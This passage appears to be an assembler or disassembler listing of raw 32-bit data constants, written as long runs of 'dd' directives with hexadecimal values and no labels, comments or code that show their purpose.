		dd 362A9069h, 0C802CCC4h, 981E7F6Ah, 40C4A028h,	7125A56Dh
		dd 61040575h, 0C069DA50h, 0BE3516EFh, 7E2DEA00h, 0DC362827h
		dd 0D8C80047h, 25C051FCh, 0D5E27DFDh, 0E0199918h, 0C0C19170h
		dd 9D376C5Ah, 8F00FD24h, 0A9F12C18h, 0C130D8CAh, 0E9DAB329h
		dd 41D887B0h, 0EB607681h, 9E95C4h, 578ABFEEh, 0FA6C90EFh
		dd 9D035800h, 0F1E5E8B5h, 7361693h, 0BD6040E6h,	10B4926Bh
		dd 8A0A524h, 6C3A9880h,	0D2FB584Dh, 0EBCB0110h,	0C84F591Dh
		dd 540022EAh, 0CC40EF5Ah, 382B7BB6h, 0C989B1F1h, 30001D76h
		dd 0BA0643A2h, 0B8023CF2h, 33DE04C5h, 0FA006809h, 927DE660h
		dd 6350A88h, 3CACCBF6h,	0E4A60F04h, 8611A0DCh, 94123002h
		dd 439539E3h, 0A5CE8015h, 0EF510ED2h, 0F980D3C0h, 80FC2AFAh
		dd 0C8291300h, 0EC46219Ah, 149E4854h, 6ED31E00h, 98427627h
		dd 3100F8F8h, 20F70A7Fh, 2FD0E7h, 0E109B26Ah, 81B9A65Eh
		dd 0B128FD00h, 0DE9BE321h, 6C19077Dh, 0E72EF6AEh, 83EB409Ch
		dd 0C817F8A9h, 0B0F0BBCh, 0F92FA073h, 5CA55C08h, 7A00214Dh
		dd 0F67F3EEFh, 953AF419h, 568B00D6h, 0B25833E3h, 70A43CC6h
		dd 0FF005EBCh, 11E6AEAFh, 0A00EDA30h, 0C07DF6F2h, 2803A201h
		dd 0FEA700A9h, 0AB3410F9h, 8A00B99Bh, 5BC25F8h,	41A25Ch
		dd 91797E27h, 6FD7BAB4h, 0D4C4BD00h, 8838692Dh,	720D00CBh
		dd 0FBC72725h, 8F3EE79Bh, 0B6A280EEh, 5D2BE667h, 0CEBF5013h
		dd 35DD010Fh, 0C43ECCC0h, 29B1F858h, 0B36F1400h, 32DA3BFCh
		dd 20D949BEh, 60B82813h, 0E8E088ACh, 50D6FD02h,	0E06B1D16h
		dd 65A888h, 648F9CFCh, 19949BF9h, 900F77F2h, 2078701Dh
		dd 9A756718h, 5A0CA017h, 0A7D186Eh, 1A84086Ah, 0A1FF0D04h
		dd 2491728Ah, 0C287923h, 71FA0078h, 7325613Bh, 5A0A743Ah
		dd 10A3F5A9h, 0D5A1A80Ah, 3AC7DD1Ch, 2477D5C7h,	0B4CA0B40h
		dd 318BAEAh, 0F3530365h, 707CCD19h, 282026E8h, 0F822F04Dh
		dd 857305B7h, 0C7BF3112h, 2736802Dh, 1ECFD830h,	0A9F5E52Dh
		dd 0C3813C03h, 0C2B00A19h, 0E84A7Ah, 0AD8BF652h, 0E901C973h
		dd 214DF546h, 2CC01337h, 4A7200C4h, 5F98C297h, 8B25367h
		dd 0EAB8CC00h, 825263ACh, 55B74A0h, 0F5AD5A70h,	8D74489Fh
		dd 0E700FD10h, 0B97E3F12h, 0D70EB701h, 7D985C82h, 62547B87h
		dd 0B157110h, 4C2600E8h, 0E709B9B1h, 8600E5D8h,	0E95033BDh
		dd 0A1B415h, 31D79BF7h,	0B9A24CCAh, 78C29200h, 0AD55C013h
		dd 0CC10945h, 0C4803484h, 0CBDE64B5h, 1094625Ch, 4F1F66A7h
		dd 408FDE6Eh, 8CAA4C79h, 0AB00C2FEh, 0CEF2059Ah, 589DDAh
		dd 78697F89h, 5483498Eh, 2D08250h, 4808A40h, 730E57A0h
		dd 0E74081DBh, 66F98E2Bh, 9067A07Eh, 0CD20FFh, 80447831h
		dd 55F0DD74h, 0BBCA8B1Dh, 7A24961Dh, 7985E200h,	0E527449h
		dd 0F23E9DF5h, 0CA2A6D20h, 3C00FA86h, 64CD8D14h, 257E74C2h
		dd 0C4A7CE24h, 2A4700F6h, 2718E7F7h, 76190A48h,	2CE30988h
		dd 3800BBEFh, 6FA64975h, 0FF85E0AAh, 245806C9h,	3DF019D3h
		dd 0A8A8ADB0h, 591C3499h, 0B84049D4h, 6379072Fh, 59D062C3h
		dd 60DF3Ah, 0D1483934h,	6D00736Ah, 3D5F971Bh, 0AB4903h
		dd 4D5EF6BFh, 1C43CBD4h, 0BE75910Fh, 0D3DEAEE7h, 5D928400h
		dd 3F59F2FDh, 97808025h, 7FA4D703h, 3F1EEC70h, 71C0ABE0h
		dd 0DD0199EEh, 510D00D0h, 0AE9A0208h, 0CF1D8960h, 0CBC06A38h
		dd 34CC21A5h, 75460030h, 7EF31AACh, 0F61708C3h,	0A0003155h
		dd 51CD4532h, 0BA3A0027h, 1B681C87h, 8C7157Ch, 888052ECh
		dd 3C9C0474h, 0C3002A38h, 0E9BF03F8h, 0BBE615CAh, 0D5206A01h
		dd 51C6B4AFh, 1DF92D8h,	63970B36h, 3E250723h, 5F67900h
		dd 61BAFEh, 0C2098610h,	48E24E97h, 0B11D2400h, 63B7C07Dh
		dd 836200E5h, 2EACEE6Eh, 0B500CEE3h, 0F5988D70h, 1E669EFAh
		dd 54B41810h, 513FDBC1h, 8CFED380h, 54DB1F46h, 1AB8E500h
		dd 0A528DC91h, 0BC640289h, 0EDF1D1Bh, 6141D380h, 8300AC82h
		dd 852C9097h, 322EA7h, 0E898C4A1h, 0C524F368h, 91D8DB50h
		dd 0E513C05h, 44714C6h,	6FA0C864h, 0C19A9Eh, 0D40C2859h
		dd 1797C4A5h, 44F48F1Eh, 9CAEFE80h, 28F151E0h, 0B452A7h
		dd 32043B40h, 3EEB4B10h, 0DB4A6C0Eh, 94DC8045h,	581F39CCh
		dd 860B89Bh, 0C2A807ADh, 59253D00h, 9428E97Eh, 0B8FA24h
		dd 46C7E258h, 80154D3h,	0BB716E14h, 0ACD92CB0h,	0DA79E03Fh
		dd 3E40B12Eh, 0B8090AAh, 13CD7CEDh, 20C05248h, 0EB7801A0h
		dd 59D00085h, 565F9D84h, 970037A4h, 0B464E96h, 765A1Eh
		dd 454C26Bh, 1065DCABh,	0C308732Ch, 9C186300h, 1D5F04Bh
		dd 76828B54h, 0D40587E6h, 0F603DC94h, 18C6D072h, 613800D6h
		dd 51410442h, 3903C515h, 3DF93A50h, 0CEC10E66h,	422E82F1h
		dd 69FA7360h, 0E0036FD8h, 36BC9A37h, 7B4389E5h,	4A5420h
		dd 0E32F6D93h, 3131EBBh, 0F6B07400h, 0F0A07AA8h, 913F0757h
		dd 3088B93Ah, 37782098h, 90A75000h, 29F98FD8h, 2ED0355h
		dd 0CDFC4E9Eh, 0BE9BD3F0h, 0E6416028h, 0A90110F8h, 0F361BF11h
		dd 342553FAh, 120EAD8h,	2EAD713Bh, 0F16FC7BCh, 5EF080A5h
		dd 53EB9AE7h, 3A94098Dh, 84002430h, 4683E1B7h, 0B1892026h
		dd 7EB81B00h, 0A9BBC1Fh, 6FA7B23Ch, 5A2F03B8h, 5690F68Fh
		dd 44097988h, 36423Dh, 98250140h, 950A00FDh, 9DDC9E60h
		dd 11009C2Fh, 64A2B447h, 60E354CAh, 0E625988Dh,	0F0B550FAh
		dd 7C2424D7h, 0B085476Ch, 572B0177h, 121D1BF8h,	0A8F1BD3Ch
		dd 61F4FEC5h, 837EAEh, 3744188Eh, 0CD102FBBh, 2567321Eh
		dd 93B9F6C0h, 78BE452h,	3D60136Eh, 8AD6713Bh, 42C3DC85h
		dd 9CF5E600h, 0A02EF0CFh, 90377FE2h, 27D00EDh, 5F3EDF31h
		dd 7118DA19h, 9412064Dh, 0EA59005Ah, 0E25C0ADh,	470E0493h
		dd 0FEE95EDh, 6920600Ch, 38C9D79h, 0F408B265h, 0ABC1FA03h
		dd 2B85E41Dh, 0F6B84AF0h, 6B31100Eh, 14403DD9h,	0C1E0ABDAh
		dd 203B6039h, 63175561h, 0A0EE9D07h, 3B0FA74h, 0EBD741h
		dd 61876AEFh, 0EA67F539h, 0FF430E0Fh, 203F2FA8h, 0E66A3E8Eh
		dd 0E4010029h, 69B2FC49h, 0DD005CBCh, 2D03D8A0h, 0CCC707h
		dd 1E6FEA56h, 0E26B3A22h, 9A052170h, 0FBDD06DAh, 42CEC400h
		dd 77E61A4h, 0AC8E083h,	0D43049ECh, 0AD00D26Eh,	875123A0h
		dd 0F4ED566h, 41DE4C10h, 0D226860h, 0F70361F2h,	6FB6F509h
		dd 0F97DA011h, 0E3910008h, 0B0F89CD4h, 0CF007236h, 93C0890Dh
		dd 1EF4925h, 8B92AF4Dh,	60FC62A5h, 5A3AD2E2h, 1B1C00AAh
		dd 688EF755h, 5DDD1325h, 0D0AC40E7h, 5A46F506h,	15131E98h
		dd 7430AFBDh, 26452958h, 0BD3079D3h, 0AFC91C89h, 0FBDABD00h
		dd 6013360Ch, 0BC008F7Bh, 35D150C1h, 1B3D0C8Eh,	0DC199470h
		dd 2A0096FEh, 50D219Bh,	245BA90h, 8E810EB5h, 9C1D31Ch
		dd 77908019h, 0F02646D7h, 40651EACh, 819ECEAEh,	0C8D6A4E0h
		dd 1D00E189h, 5A839087h, 144AFC2Bh, 0AC68DDC7h,	5801500h
		dd 6D131026h, 0FA335100h, 380A31EAh, 0C7E80053h, 0D3190F75h
		dd 0CB010412h, 3A03EE87h, 0BAF4183Dh, 0A2CC00F4h, 0C1A19767h
		dd 760046AAh, 0DE937827h, 24B3EC5h, 8EE80682h, 3260C8D1h
		dd 19011A38h, 0B5A147C1h, 36D40B88h, 39BE1F67h,	78804041h
		dd 2E698A82h, 0EBE3AE28h, 0C5F16F00h, 0F81540D7h, 7D800B96h
		dd 0B90084ACh, 7504AB7Ah, 471E9F01h, 0C521272Bh, 0A382C4h
		dd 0A519895h, 9E2CC1F1h
		dd 2D6E3000h, 0CE4DBB63h, 3A610AA9h, 0E9843Bh, 0CB1D83E8h
		dd 78B52EF6h, 5EDE3D90h, 0CD156500h, 0BE1FAE80h, 47881000h
		dd 6352BCE1h, 897B94h, 115E2D02h, 10682714h, 67300B03h
		dd 81BB07FDh, 0BEFC7C7Fh, 0B8180062h, 688CCF84h, 0D2004FD8h
		dd 373393F3h, 1C3DAAAEh, 407EE67Ah, 126E4EF2h, 27EAC65Eh
		dd 0B01D7202h, 61BCF039h, 9C317400h, 0EA8DA1DBh, 1476834h
		dd 0AC2916AAh, 0F4946837h, 0E27332B5h, 0E93F6F00h, 1CC5CCC4h
		dd 459B4C4Fh, 0A6997D03h, 0A7E0628Bh, 0CD096186h, 80B5B2AAh
		dd 60B68F7Ch, 289898BBh, 60CBC6Ah, 0B9BAB4E1h, 0C70308B1h
		dd 5F33073Bh, 3439891h,	0BC3C1B39h, 9E4101Ah, 0CF42FCCh
		dd 971013h, 1E01634h, 29599F7Ch, 3C50CC06h, 4946E4h, 0C014033Bh
		dd 0D4AC633Ah, 74751F24h, 0B516A300h, 2E62E231h, 625B0D0h
		dd 381A8012h, 20A9DC30h, 2840A42Ah, 160C9A11h, 4D98A07Bh
		dd 0C438184Ch, 850F31BAh, 0A1F9C752h, 0CB99C249h, 35CD8E3h
		dd 4F620092h, 7F946559h, 223C7A89h, 0D467ACFDh,	1ACA8139h
		dd 2A658066h, 0F90F0h, 35CBA5E8h, 44C570C3h, 0AFA61601h
		dd 9A1681Dh, 0E273A8F0h, 132EE66h, 430102FBh, 0E75F360Eh
		dd 124611A8h, 0F784C1A0h, 5A19E900h, 7B02C1CBh,	624400EAh
		dd 78EBDD55h, 0DA00E5DFh, 2C683834h, 375E19h, 0BFF1EFF9h
		dd 0BB7D9649h, 5A65561Fh, 0F844C407h, 0A81A04C0h, 88225454h
		dd 0D4381316h, 0B70F0001h, 0B81E7BC0h, 21C013E8h, 9D42FB5h
		dd 0D0EF167Eh, 6890F83h, 95402AE0h, 6061A4B1h, 0CF3F628h
		dd 0F83FFCFCh, 2D9B0199h, 8710797Eh, 0C820813Ch, 6B7F2B93h
		dd 0A9FE3180h, 9FE9D475h, 9A1BA00Ch, 0CF440858h, 7560D921h
		dd 9983C909h, 0C0EBB10Bh, 887983A4h, 29D860B9h,	582F7A5Eh
		dd 6DE01466h, 20A0627Eh, 9103CDBAh, 0C0D8BA16h,	242257h
		dd 6E450FD1h, 7C382F5Ah, 648039DFh, 136555E9h, 0CDE63FF0h
		dd 57F6CE0Fh, 0F0179B26h, 53374D03h, 0E00919C8h, 0F2016443h
		dd 0E92D00A7h, 3593F9DFh, 6500E8EDh, 612C0DBh, 0F26845h
		dd 0F0A5CA37h, 0DAD4A4BFh, 1004780Eh, 0BF494FFDh, 0E68F2E80h
		dd 0E793501h, 1E0E808Ch, 0A7978B00h, 48E8FCF4h,	0AA40B90Fh
		dd 0C9A420E7h, 70E51D53h, 7234006Dh, 51A139D5h,	0A001DFDAh
		dd 2119F2B7h, 1880E515h, 9D5314D0h, 0F82862C9h,	0C1001040h
		dd 1CA13A0Ch, 749D52F3h, 85A91836h, 14BC1123h, 17B0E3Fh
		dd 99A16E7Fh, 2BD16F37h, 3C172180h, 0C697F40Eh,	53728D01h
		dd 0D67E21E1h, 326A3110h, 630A0900h, 0D304D48h,	0FCDC1920h
		dd 70667801h, 0BD006057h, 18FF53CCh, 0DE9FEB41h, 0B8FAC091h
		dd 0D710207Dh, 5D664E7Fh, 21BB08h, 31B8676Bh, 0A1B5D462h
		dd 0BC039F3Ah, 0FCAE9B41h, 77D023F8h, 750E1607h, 196F4F62h
		dd 3E591025h, 0CC18000Eh, 2411B1B8h, 3A00D127h,	9653250Fh
		dd 0B88AEADh, 12901D7Eh, 0CDBEA200h, 340002DAh,	8D0C2FD3h
		dd 0F63894h, 0DEAE3A44h, 2E9789B3h, 0DF910500h,	0E6F40A8Ch
		dd 78EE38h, 61FA7D4Dh, 0FC6F7477h, 26DE0D03h, 0A5BCE790h
		dd 0E04751C2h, 12FF48Fh, 0AB73C705h, 60434F48h,	9F0F7760h
		dd 105C69h, 0DD7F7994h,	0F7460993h, 4280ACF8h, 1B4A3D6Bh
		dd 858A433h, 972100F1h,	55860FA5h, 280096D6h, 145D165Eh
		dd 6DD94FAh, 0E3F30B77h, 5646580Fh, 0CF88AB3Dh,	0FCC4556Bh
		dd 0F2E984Fh, 0D9761860h, 3F1D425Ch, 20B02BFDh,	0F4C253Eh
		dd 62A06E52h, 4EBD1C80h, 0FF0101DBh, 0B71A7E5Eh, 0B0CFE92Fh
		dd 34369CFh, 0A54694B9h, 33E12EFAh, 0F7188CBAh,	36B50D8h
		dd 2C19C7BDh, 5E0CEFDh,	0DE30A124h, 0BC177121h,	0A46D011Bh
		dd 7C6AB8A0h, 13089B98h, 1BB3F821h, 768900C7h, 0D169217Eh
		dd 0AA00BD9Ah, 5645F157h, 0C03CB8D7h, 0B3ECFC71h, 7F2C58D3h
		dd 0BF0066B1h, 24457196h, 0B96414D2h, 6803A026h, 4FBCB3F7h
		dd 0D400397Bh, 0E2DDAA1Dh, 66C597F8h, 212D08DAh, 1DE78500h
		dd 1680E867h, 0A40E066Eh, 80426207h, 7F463D3Dh,	1025D237h
		dd 0C88A06C0h, 8572BEh,	1A3FEC82h, 4C07A3C1h, 0A875ED00h
		dd 5A77DA8Eh, 7623009Bh, 0C33BB421h, 55003204h,	0A8C1830Bh
		dd 308291ECh, 0B964ED10h, 7F0021BFh, 0C230B5B8h, 2C26F22Ah
		dd 0F803BAh, 8B82F3C3h,	0FDF4240Fh, 0F9C63F00h,	0CA8F577Dh
		dd 98F200B8h, 0B53BF75Bh, 303D38FBh, 0DFBD0033h, 3703DAAEh
		dd 3DBE06D3h, 10E179CFh, 74E4F703h, 0FC0B165h, 0A1C12E68h
		dd 1C78319Dh, 74F270AEh, 0CAC45D0Ch, 63BB1935h,	648C992Fh
		dd 1B84A2B0h, 8633210Eh, 0C6DB60E5h, 0F393C3h, 729A36B4h
		dd 0E7BD8516h, 78D35D30h, 0FA31EB5h, 15A44A18h,	18979186h
		dd 0BD6A650Eh, 1BDF6168h, 0B8DBCCAEh, 0C36111h,	70E03284h
		dd 9B8D330Bh, 6635ED06h, 2B83D1Ah, 578045F2h, 21636DA9h
		dd 0AA65F187h, 0C3D980CFh, 1C1E46C9h, 0AE150049h, 2A6AEC0Fh
		dd 0A907A67Ah, 8E0C7647h, 650BF450h, 0A474B9h, 0DF33F7B5h
		dd 2039D760h, 12AE9B00h, 7D3163E2h, 1819006Fh, 17361B49h
		dd 817BC38Fh, 0B825BA01h, 0DAC7A30Bh, 4D0830FBh, 0B9FE0F21h
		dd 0DE101E00h, 6248E02Dh, 742EEADh, 61C3852Bh, 5B80BB17h
		dd 89E7EAB4h, 0DC00E5ECh, 528DBE2Dh, 310ECD30h,	0F65062ADh
		dd 0CF59A66Bh, 2F483600h, 75259EEh, 641D411Fh, 236AA0DFh
		dd 0BC3F4945h, 0E81B8021h, 6EF0F51Eh, 8413ED3h,	0CD3F26F4h
		dd 813180Ah, 7D00C020h,	0AEC41547h, 0B4231Ah, 0D41EC74Dh
		dd 91205D77h, 3BF06FE8h, 0C14BB340h, 0D0982348h, 5CC88089h
		dd 0AF51CFDCh, 423530D9h, 72B9428h, 0B9604974h,	3EC861B9h
		dd 118A60F6h, 46DBF106h, 0E63A7E00h, 0E5FD5C2Ah, 0F5E23CB6h
		dd 29671Ch, 0ADCF0B11h,	0C930D88Ah, 123771DCh, 4B290188h
		dd 4E35E716h, 0BF08983Eh, 174A1C21h, 133AB488h,	0F1E00DFh
		dd 0BB47EB79h, 0D86CFC1Fh, 4CC31E8Ah, 1A383A07h, 0C2E8B8D0h
		dd 1B20141h, 3094CFF3h,	18EA3024h, 55B7505h, 0DC00C897h
		dd 9127E38Fh, 0C167F14h, 1F3E837Ch, 21C0CC08h, 0FA91401Dh
		dd 7EB900ADh, 756FAAF9h, 84A0C2DEh, 50406EFDh, 896660F6h
		dd 6C4E7B96h, 0BC140E00h, 0C2D01DBDh, 48527251h, 649D189Fh
		dd 0DEC18008h, 9966619h, 0D4CEE200h, 18ECBD3Ch,	84CC5498h
		dd 805200AFh, 7F2254A9h, 0CB0012EFh, 0CF9F5A1Ch, 3A654BB7h
		dd 2B187A96h, 0C8DD61B2h, 0DB03C790h, 0F34CA418h, 9FD80C20h
		dd 0C5A96CF6h, 99A65C00h, 71BB2B6Eh, 603400E8h,	7A69B074h
		dd 0C11C2C42h, 0C758C2DCh, 3FED789h, 0FFA94CBAh, 20985401h
		dd 0F40F34F6h, 32B0735Bh, 3062AB02h, 2B4847Dh, 0EB911661h
		dd 0A31479Ah, 0F028450h, 0AEE93C91h, 0A52A3A87h, 76D08032h
		dd 0C08BC698h, 0C1D31Dh, 3C7742FFh, 8120859Eh, 0CAC2D1C6h
		dd 4E650029h, 21E7A142h, 3800A5B0h, 0D4A4041Bh,	18860B36h
		dd 99BE07C8h, 3F01DE2Bh, 0D2C4E6EFh, 30DCC363h,	0AFA4A883h
		dd 7D763825h, 0DB55D701h, 0D356070Eh, 391F21B6h, 318790EDh
		dd 4AF00B51h, 94FE532h,	601316B6h, 20118185h, 0FF910B28h
		dd 2848A3E3h, 90D34F81h, 0C9C039B6h, 2A061723h,	0A8A51087h
		dd 1B010923h, 2F161891h, 1889218h, 0A917714h, 36CD3B21h
		dd 0E0528278h, 30461E7Eh, 0E3B70C00h, 0BC625A73h, 9E9004Ah
		dd 42847091h, 3F00B046h, 52B99FA0h, 6C58E03h, 5A81E6D2h
		dd 4046E017h
		dd 44763876h, 0B07F2F10h, 9890D83Ah, 247D0071h,	714F3762h
		dd 21C12256h, 0BEDB948Fh, 8B26998Ch, 0D4716019h, 86926E00h
		dd 12C7AE58h, 7B3D09E9h, 0C402A2A0h, 0B06E5A7Fh, 3052C93Bh
		dd 0B97780A4h, 0DE3A12A1h, 35D0289h, 544280FAh,	92420847h
		dd 0DA851862h, 9C4C9748h, 0C775B280h, 412E776h,	5096C506h
		dd 760195Bh, 91081918h,	0C61F1642h, 30F21F0h, 0DC4E9112h
		dd 93C47680h, 26B5DE0Dh, 74A0A420h, 878F0421h, 700FD199h
		dd 0F6253FCBh, 80E89748h, 9EA43C12h, 1D7FC82h, 0AB06F74Ah
		dd 0C4B7DC31h, 0F84CC8DAh, 80F68584h, 8048AC4Bh, 761399B6h
		dd 874D00B5h, 0C490431Ah, 3D720B0Dh, 6A5A26h, 61CB2174h
		dd 0C9EDC580h, 90230538h, 0B7D90054h, 0A96AB2F6h, 0BCF69474h
		dd 0F3843B19h, 3C224A20h, 66C1F502h, 8CC9F44h, 0E891787Eh
		dd 45188F79h, 52B2DC06h, 7519934Dh, 10092E0h, 0C5BFF85Dh
		dd 0DC461178h, 36C27747h, 0E1CCF4F1h, 5FC518D3h, 0FF073076h
		dd 0A8E30BB9h, 214052C4h, 104DBA08h, 0B78CC100h, 23CF749Dh
		dd 0A6273EEEh, 2CC88280h, 0CD493060h, 4AEBF207h, 8A696577h
		dd 465EC058h, 0E0440C8Dh, 98D1B9h, 11956D06h, 97752CF5h
		dd 15D10B0Fh, 7D26A632h, 34510139h, 0B1FC89D8h,	3264C57Eh
		dd 3081F26Ch, 4A0B32AAh, 836A8B3Dh, 3A862658h, 6D8F5D21h
		dd 89601408h, 0D7AD7169h, 40E2AE01h, 0D18AB4C8h, 15027C26h
		dd 6E4B1C88h, 2180FA31h, 32884D19h, 0A300AB1Fh,	0E5C25BFh
		dd 4DF342A0h, 0C3061486h, 81843041h, 0ABAA0D1Fh, 0C2467887h
		dd 2C11CE30h, 3B8518B2h, 0CD1B315Bh, 0F0DDFB20h, 0B31C0ACEh
		dd 93A49597h, 0C69E055Ch, 3602805Fh, 74060AD3h,	0CEE394F0h
		dd 81F0599h, 0C7B5F8B2h, 51D5050h, 58BACC12h, 0BC1C1748h
		dd 0D3008C4Dh, 5E769138h, 6D23157h, 97033B42h, 0C800998Eh
		dd 0FE4C4184h, 3FAE7F6h, 779276DDh, 0EAD98D06h,	86D07042h
		dd 59654330h, 0A88A556Ch, 1E40188Ch, 807E1F94h,	1D212BC8h
		dd 0E05077D9h, 8C019030h, 0AE2F0DDEh, 0B720ACEFh, 7F8AFE28h
		dd 0FCD60362h, 389F26DAh, 0F6187390h, 7F694E60h, 7983F7h
		dd 2ECF58ACh, 1EEF64C6h, 9EC02F00h, 0B12CAD8Bh,	7CDB4CF8h
		dd 8943FAE8h, 4631C200h, 0FC014045h, 0AD1864F6h, 0A7B99497h
		dd 3AB00E7h, 8852322Eh,	30FC5960h, 7E0D9271h, 0A969F66Ah
		dd 38B1CCh, 62DC0960h, 0F3B5C920h, 18191E0Ah, 1C0D84Dh
		dd 21B849BAh, 65919EABh, 0BA022300h, 6F01C858h,	19C067FCh
		dd 0A7BDF20Fh, 0AA5D0145h, 51581A7Ch, 8A703073h, 6214788h
		dd 1E72EFEEh, 0BB4C5850h, 8C54E834h, 0F8601D01h, 2FB42397h
		dd 0E008022h, 9E54D536h, 9F037032h, 6CDD3F1Ch, 0B3298849h
		dd 21E89842h, 54A696FEh, 27164704h, 0A897E8D8h,	4AFEB0h
		dd 768ADF91h, 78845D77h, 1EE6D904h, 2CC89752h, 50393286h
		dd 0F441ADA1h, 91118EDh, 4E4B2888h, 15801065h, 34A28849h
		dd 4B8C0041h, 0D0216F78h, 2618AD2Dh, 4929D4C3h,	5D3800D8h
		dd 0E45BDBBCh, 0FF0069A2h, 3E60B30Dh, 90733A9h,	91D8DE1Eh
		dd 8CDAF490h, 58FAEC01h, 8ABF445h, 0A094C4h, 1E1F8A7Ah
		dd 0F89CD3Eh, 18C7905h,	8C40C297h, 1E7D835Eh, 0DDD1F4CFh
		dd 113DC081h, 1D37420Dh, 0E539FA00h, 0C4C5C8B6h, 0D2983030h
		dd 8B960329h, 0FD1738h,	0EFDAC82Ch, 5CD50921h, 42C36CB9h
		dd 81801156h, 4100DC3Bh, 7FF8EB39h, 7BC4E94h, 51540E15h
		dd 2ED710A9h, 50047BE4h, 26566B38h, 1CDC10B5h, 0DF87013Ah
		dd 0D3E29121h, 80D9CD94h, 59CC4E89h, 0F8A16DF8h, 0A9800F5h
		dd 0FB0C8A8h, 0F90145A5h, 0DE9A205Fh, 9850F6BAh, 0AD25C3h
		dd 867FA05Bh, 5C520EA4h, 6F0010B1h, 59641AB7h, 5DC24AD8h
		dd 0F918003Ch, 8BFD058Eh, 5B848C0Fh, 71DEC064h,	23CE046h
		dd 0CD135935h, 0B0A0C1FDh, 0B2D643D3h, 9F812FEh, 0F21761DFh
		dd 0EB536C30h, 0D8A002Eh, 6A227775h, 3D004564h,	6108980Ch
		dd 0CF2F1B9h, 97FCC80Bh, 5163F6C1h, 0D880C9C9h,	0E48E47E6h
		dd 0AE2C0001h, 0AB933C04h, 0DE00212Fh, 7BEB6091h, 0F623E1D7h
		dd 16852648h, 364A64A0h, 4E190C30h, 592164F6h, 0B1C55B00h
		dd 94429B70h, 85910E7Dh, 3800B2ECh, 10A668BDh, 0E328BA0Ch
		dd 588D40B1h, 0C0803492h, 0FD2BA091h, 0A8B6126h, 5F78803Bh
		dd 0F26D7D21h, 0F6DB0024h, 0B99E1533h, 4EF67E01h, 810248A0h
		dd 18B23A30h, 38D05344h, 0A8FAEEBh, 0F09443A7h,	96C1780Ah
		dd 219C408Ch, 72007F49h, 0C7396495h, 7A8205h, 5C48E1FFh
		dd 96CD86FEh, 0BB41089Eh, 6DCB66Ch, 0C0F200BDh,	20B891FAh
		dd 9803CD1Ch, 7C9A19F7h, 1107B82Ah, 0D3DE2294h,	0BAE06318h
		dd 0EF8C579h, 64220EAFh, 3A92A501h, 44CAD02Dh, 7DFD903h
		dd 883029h, 7D1987D9h, 1CD3C650h, 0EFBDFA1Fh, 575900FCh
		dd 24F01A18h, 69CB67C3h, 0EBE1A15h, 9187E58Eh, 73DDD036h
		dd 7603A5A8h, 7F2B32BAh, 3071F89Ch, 14537745h, 90B90A8Bh
		dd 0E1E00800h, 88C5F385h, 0D897FA98h, 0FF9C587Dh, 0CDB69000h
		dd 8598E3F7h, 69253676h, 4E24202Fh, 1F1D1EEEh, 433E8B1Ch
		dd 0FEFA6F8Eh, 1A9EA0BFh, 0CC1FEBE4h, 0A5C15CFFh, 64F6D034h
		dd 6732FB10h, 854CCFEEh, 0D6AD095Ch, 80D007F2h,	4885D95h
		dd 0C4492443h, 29EC61CCh, 5538F437h, 0F442DC01h, 58855D07h
		dd 911686ECh, 0FDF1067Ch, 6505126Eh, 0C5C9E17Ch, 3F6A888h
		dd 0FA826F72h, 0E0A0C885h, 0F000D10Ah, 0A3A7B8C4h, 9A27F275h
		dd 3C790FA8h, 0D5AC9457h, 2F7CEB41h, 0B646A60Eh, 0C74E206Ah
		dd 1660B792h, 9097C67Ch, 0F487F540h, 0B8633E04h, 38C03746h
		dd 0E8A2BA1Ch, 0A1FF00EEh, 0C4DB69C3h, 0EA3594A7h, 0E41239C9h
		dd 0C0C024h, 56D67F7h, 7F2AC0F3h, 96748C5Fh, 0A70C3A00h
		dd 3F0630DCh, 0F3E77A2h, 280B4FCDh, 0C7175158h,	63ED7800h
		dd 7C64D63Bh, 4033CEBh,	29828C80h, 0DF94DEF4h, 4E1FDC99h
		dd 2B582140h, 9B80B53h,	0C6206092h, 80F41801h, 6C2377h
		dd 0FB306B51h, 237ADEDh, 76A9CD29h, 34403DC8h, 6A770DD9h
		dd 108B2C30h, 3DD047Ah,	0B13EDB4Dh, 1E82C7CAh, 0EEA5E040h
		dd 8A292803h, 3A8C30E0h, 60048EB9h, 0C004225Bh,	0D62CF822h
		dd 0D505C51Fh, 0DB3749C0h, 2401299Eh, 1F8428Bh,	927A4B55h
		dd 0BED11096h, 583501B7h, 0FA1809C3h, 89E971DAh, 2150750Ah
		dd 787E0F38h, 0C8F40121h, 9CA42Dh, 864C69A4h, 0CC983ED5h
		dd 0BE7CDD01h, 0DFE0E411h, 28D963DCh, 19079F9h,	4DF5B990h
		dd 0E05E1B3Eh, 682CDFA9h, 0F0E5521h, 0AEE300A4h, 604F528Dh
		dd 0EC866179h, 0FC912691h, 7A80591Eh, 6AD7A82Ch, 0F88C0474h
		dd 0E2B0E8DDh, 0DB0C0058h, 41D02583h, 74274FEh,	86972940h
		dd 4C9CC02Dh, 7B05025Fh, 95E0761Ah, 4D448447h, 1E9CC140h
		dd 3DEB0177h, 205D1F2Bh, 1486E079h, 4D90F899h, 0D03C129Fh
		dd 0ED983A18h, 53011AF6h, 8165BAC5h, 4C6C3055h,	285113h
		dd 0E1AD492Ch, 8B601B9Bh, 0D6025539h, 3228007Dh, 0EC996A80h
		dd 9503C0E6h, 6DACFD58h, 0F71E652h, 0E54EF838h,	301A6CE2h
		dd 3C04ACE4h, 358FF2CFh, 7EE0CC80h, 6972270Bh, 0B9B56410h
		dd 0D8007875h, 2D5F53FFh, 1E1932C0h, 44FE1080h,	80BCCB43h
		dd 5F6C92E8h, 267250A8h, 7EE77600h, 965B2D3h, 8D580043h
		dd 9942462Ch, 0EC130112h, 0E4D0C30Bh, 2F33C4h, 0AE1E72B0h
		dd 0B68B5DA6h, 9FA3DD0Bh
		dd 0B8A8017h, 17B036F8h, 20985501h, 2C878344h, 0BA8DCF16h
		dd 0A859400h, 4BC867EEh, 1EC45331h, 0C30E0974h,	57810098h
		dd 2CC9E72Ch, 58AAD740h, 6DFE00D5h, 9C6A9914h, 1075350h
		dd 0DA62EB5Dh, 84C83BA4h, 309FF2EEh, 14115F3Ah,	2400C946h
		dd 0B07F25D0h, 3E3068EFh, 16264D6Eh, 1CC61104h,	524B4977h
		dd 70009B59h, 8CB89CA1h, 0C159631Bh, 0B0CF2205h, 6181D96Dh
		dd 0AC2C0212h, 6551B380h, 7009B40h, 0C415C1FAh,	1E670F3h
		dd 60A1B8A5h, 809A2B0Eh, 0D8F7B169h, 1DA38AAh, 0FF9897D5h
		dd 0DA6DB84Bh, 5FF8F8C0h, 9A271605h, 54CD6720h,	0F7C244Ch
